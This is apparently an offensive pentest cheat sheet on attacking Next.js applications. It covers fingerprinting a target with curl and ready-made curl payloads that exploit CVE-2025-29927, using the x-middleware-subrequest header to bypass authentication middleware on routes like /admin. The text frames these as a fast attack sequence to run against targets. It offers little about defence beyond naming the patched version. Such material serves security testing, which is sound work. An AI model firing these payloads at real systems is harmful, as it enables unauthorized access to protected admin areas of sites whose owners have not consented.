Next.js attack surface 2026 — middleware bypass, internal SSRF, RSC abuse

Quick answer

Next.js is the dominant framework in modern SaaS and drags along a unique attack surface: middleware as the only auth layer, image optimization as an SSRF gadget, Server Actions with Host header injection, and RSC payloads that leak server-side data to the client. CVE-2025-29927 (middleware bypass via x-middleware-subrequest) is still alive in ~35% of Next 14 apps. If the fingerprint detects Next, you attack in this order: middleware bypass → image SSRF → server actions → RSC inspection.

1. Quick Next.js fingerprint

Before firing payloads, confirm the version. The surface changes drastically between Next 12 (no App Router), Next 13-14 (App Router + Server Actions) and Next 15+.

# Build ID + buildManifest
curl -s https://target.com/_next/static/buildManifest.js | head

# Headers indicativos
curl -sI https://target.com | grep -iE "x-powered-by|x-nextjs|x-middleware"

# RSC endpoints (App Router only)
curl -s https://target.com/some-path -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%2C%7B%7D%5D"

2. CVE-2025-29927 — middleware bypass

Next.js uses middleware for auth, redirects, rate limiting and security headers. Middleware runs before routes. If the attacker can skip it, the protected endpoint becomes directly accessible.

The bug

The x-middleware-subrequest header is used internally between the Next runtime and the route handler to avoid loops when middleware calls its own app. If the attacker sets that header on an incoming request, Next assumes it already went through middleware and skips it.

Payloads

# Versión sin src/
curl -H "x-middleware-subrequest: middleware" https://target.com/admin

# Versión con src/middleware.ts
curl -H "x-middleware-subrequest: src/middleware" https://target.com/admin

# Defensa con counter de profundidad — repetir N veces
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  https://target.com/admin

# Pages router legacy
curl -H "x-middleware-subrequest: pages/_middleware" https://target.com/admin

[!danger] Still alive in 2026 Although Next ≥ 15.2.3 is patched, 35%+ of production Next 14 apps in 2026 haven't updated. A pass with those 4 values on each protected route is 30 seconds per target.